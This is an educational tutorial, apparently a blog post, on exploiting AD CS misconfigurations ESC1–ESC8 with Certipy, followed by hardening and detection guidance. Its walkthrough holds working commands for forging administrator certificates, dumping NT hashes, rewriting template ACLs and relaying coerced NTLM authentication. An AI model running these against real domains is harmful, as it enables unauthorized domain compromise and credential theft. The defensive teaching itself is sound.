Disclaimer: This article is written for educational purposes and for use during authorized security assessments only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction
Active Directory Certificate Services (AD CS) is the PKI backbone of countless enterprise environments. It is also one of the most reliable paths from a low-privileged foothold to full Domain Admin. In 2021 SpecterOps published Certified Pre-Owned, which catalogued a family of misconfigurations and design flaws labelled ESC1 through ESC8. Each describes a distinct way an attacker can coerce a Certification Authority (CA) into issuing a certificate that authenticates as a more privileged principal.
This article gives you a working mental model for each ESC variant, shows how to enumerate and exploit the most common ones with Certipy, and — with equal weight — explains how defenders detect and shut them down.
If you are new to AD lateral movement, you may want to skim Kerberoasting and NTLM relay fundamentals first, since ESC8 builds directly on relaying.
How It Works / Background
Certificates can be used for PKINIT Kerberos authentication. When a CA issues a certificate whose Subject Alternative Name (SAN) contains a userPrincipalName (UPN), the holder of the corresponding private key can request a Kerberos TGT as that user. The core of most ESC attacks is therefore simple: get the CA to put an attacker-controlled SAN into a certificate.
Whether that is possible depends on the certificate template configuration. The dangerous knobs are:
msPKI-Certificate-Name-FlagcontainingCT_FLAG_ENROLLEE_SUPPLIES_SUBJECT— the enrollee, not AD, chooses the subject/SAN.- An Extended Key Usage (EKU) that permits authentication:
Client Authentication (1.3.6.1.5.5.7.3.2),PKINIT Client Authentication (1.3.6.1.5.5.2.3.4),Smart Card Logon, or the catch-allAny Purpose (2.5.29.37.0)/ no EKU at all. - Enrollment rights granted to broad groups (e.g. Domain Users) and no manager approval.
| ESC | Root cause (short) |
|---|---|
| ESC1 | Template allows SAN + auth EKU, low-priv enrollment |
| ESC2 | Template has Any Purpose or no EKU |
| ESC3 | Misconfigured Enrollment Agent template |
| ESC4 | Attacker has write/WriteDacl over a template object |
| ESC5 | Vulnerable PKI-related AD objects/ACLs (CA, NTAuth, etc.) |
| ESC6 | CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set |
| ESC7 | Attacker holds CA management rights (ManageCA/ManageCertificates) |
| ESC8 | NTLM relay to the CA's HTTP/HTTPS Web Enrollment endpoint |
Prerequisites / Lab Setup
A minimal lab: a Domain Controller, a Windows Server running the Certification Authority role (optionally with the Certificate Enrollment Web Service for ESC8), and a Kali/Linux attacker box. Install tooling:
pipx install certipy-ad # Certipy
pipx install impacket # ntlmrelayx, getTGT, secretsdump
Find the CA and enumerate templates with Certipy. The find command pulls template and CA config over LDAP and flags vulnerabilities automatically:
certipy-ad find -u jdoe@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.10 -vulnerable -stdout
Output marks each template with the ESC IDs it is susceptible to, e.g. [!] Vulnerabilities: ESC1.
Attack Walkthrough / PoC
ESC1 — Enrollee-supplied SAN
The canonical attack. The template allows you to request a cert and specify an arbitrary SAN. Request a certificate for the domain administrator:
certipy-ad req -u jdoe@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.10 -target ca.corp.local \
-ca 'CORP-CA' -template 'VulnTemplate' \
-upn administrator@corp.local
Certipy writes administrator.pfx. Use it to obtain a TGT and dump the hash via PKINIT/U2U:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.0.0.10
This returns the Administrator's TGT and NT hash, giving you the keys to the domain.
ESC2 — Any Purpose / no EKU
Same flow as ESC1 but the template grants an Any Purpose EKU. Because the EKU permits client authentication, you request it, then authenticate exactly as above. If ENROLLEE_SUPPLIES_SUBJECT is not set, ESC2 can often be chained through an enrollment-agent path (ESC3).
ESC3 — Enrollment Agent
ESC3 templates grant the Certificate Request Agent EKU. You first enroll for an agent certificate, then use it to request a cert on behalf of a privileged user:
certipy-ad req -u jdoe@corp.local -p 'Passw0rd!' \
-ca 'CORP-CA' -template 'EnrollmentAgent'
certipy-ad req -u jdoe@corp.local -p 'Passw0rd!' \
-ca 'CORP-CA' -template 'User' \
-on-behalf-of 'CORP\administrator' \
-pfx enrollmentagent.pfx
ESC4 — Template ACL takeover
If you hold WriteDacl/WriteOwner/GenericAll over a template object, you can rewrite it to be ESC1-vulnerable, exploit it, then restore the original:
certipy-ad template -u jdoe@corp.local -p 'Passw0rd!' \
-template 'VulnTemplate' -write-default-configuration
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
When the CA itself has this flag set, any template that allows authentication effectively becomes ESC1, because the SAN can be supplied as a request attribute. Certipy requests with -upn against any enrollable auth template. Note Microsoft's May 2022 patch (CVE-2022-26923 era hardening) changed default SAN-mapping behavior, reducing some impact.
ESC7 — CA officer rights
With ManageCA you can grant yourself ManageCertificates, then approve a pending (denied) request, or enable the SAN flag. Certipy automates the officer + issue chain:
certipy-ad ca -u jdoe@corp.local -p 'Passw0rd!' \
-ca 'CORP-CA' -add-officer jdoe
ESC8 — NTLM relay to Web Enrollment
If the CA exposes the HTTP Web Enrollment (/certsrv) or Certificate Enrollment Web Service endpoint without Extended Protection for Authentication (EPA), you can relay coerced NTLM authentication from a privileged machine account to it and obtain a certificate for that machine. Start the relay target at the CA:
certipy-ad relay -target 'http://ca.corp.local' -template DomainController
Then coerce a Domain Controller to authenticate to your relay using PetitPotam, PrinterBug, or Coercer:
python3 PetitPotam.py -u jdoe -p 'Passw0rd!' \
10.0.0.50 10.0.0.10 # attacker_ip DC_ip
The relayed DC machine account gets a certificate; authenticate with it via PKINIT to compromise the DC (and from there, the domain via DCSync).
Attack Flow Diagram

Diagram: a foothold leads through Certipy enumeration to one of several ESC paths, all converging on PKINIT authentication that yields a privileged TGT and ultimately domain compromise.
Detection & Defense (Blue Team)
Defending AD CS requires both configuration hardening and monitoring.
Hardening
- ESC1/2/6: Remove
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTfrom authentication templates. Never combine enrollee-supplied SAN with an authentication EKU for broadly enrollable templates. Require manager approval or authorized signatures. - ESC6: Audit and clear the dangerous CA flag:
certutil -getreg policy\EditFlags certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 net stop certsvc; net start certsvc - ESC4/ESC7: Audit template and CA DACLs. No non-tier-0 principal should hold
WriteDacl,GenericAll,ManageCA, orManageCertificates. - ESC8: Enable HTTPS + Extended Protection for Authentication (EPA) and require SSL on the Web Enrollment / CES endpoints, or disable HTTP enrollment entirely. Apply KB5005413 guidance and mitigate coercion (block MS-EFSRPC/PetitPotam, disable Print Spooler where unneeded).
- Apply the certificate-based authentication strong mapping hardening from KB5014754 (full enforcement enforced since Feb 2025), which ties certificates to accounts via the
SIDextension and breaks loose UPN mapping.
Detection
- Monitor CA Event ID 4886 (request received) and 4887 (certificate issued); correlate issued SANs against the requesting account. A request for
administratorfrom a workstation account is a red flag. - Security log 4768 (TGT requested) with Certificate Information populated indicates PKINIT — alert on PKINIT from unexpected accounts.
- Watch for NTLM authentication to
/certsrvfrom machine accounts (ESC8) and for coercion patterns (inbound EFSRPC/RPRN from non-server hosts). - Run Certipy or PSPKIAudit / Locksmith periodically as a blue-team baseline to find the same misconfigurations before attackers do.
Map these to detections under MITRE ATT&CK T1649 (Steal or Forge Authentication Certificates) and T1556 (Modify Authentication Process).
Conclusion
ESC1-ESC8 are not exotic — they are configuration defaults and ACL oversights that ship in real environments every day. The common denominator is a certificate that authenticates as someone else, so the defensive priority is clear: control who can influence the subject/SAN, lock down template and CA ACLs, and protect enrollment endpoints from relay. Run Certipy find -vulnerable on your own estate this week; if it returns an ESC flag, you have a finding worth fixing before someone else does. For the relay-specific side, see Coercion techniques in Active Directory.
References
- SpecterOps — Certified Pre-Owned: Abusing Active Directory Certificate Services (specterops.io / whitepaper PDF)
- Certipy — https://github.com/ly4k/Certipy
- HackTricks — AD CS / ESC abuse: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates
- MITRE ATT&CK T1649: https://attack.mitre.org/techniques/T1649/
- Microsoft KB5014754 — Certificate-based authentication changes on Windows DCs
- Microsoft KB5005413 — Preventing NTLM relay attacks on AD CS
- Locksmith — https://github.com/TrimarcJake/Locksmith



Comments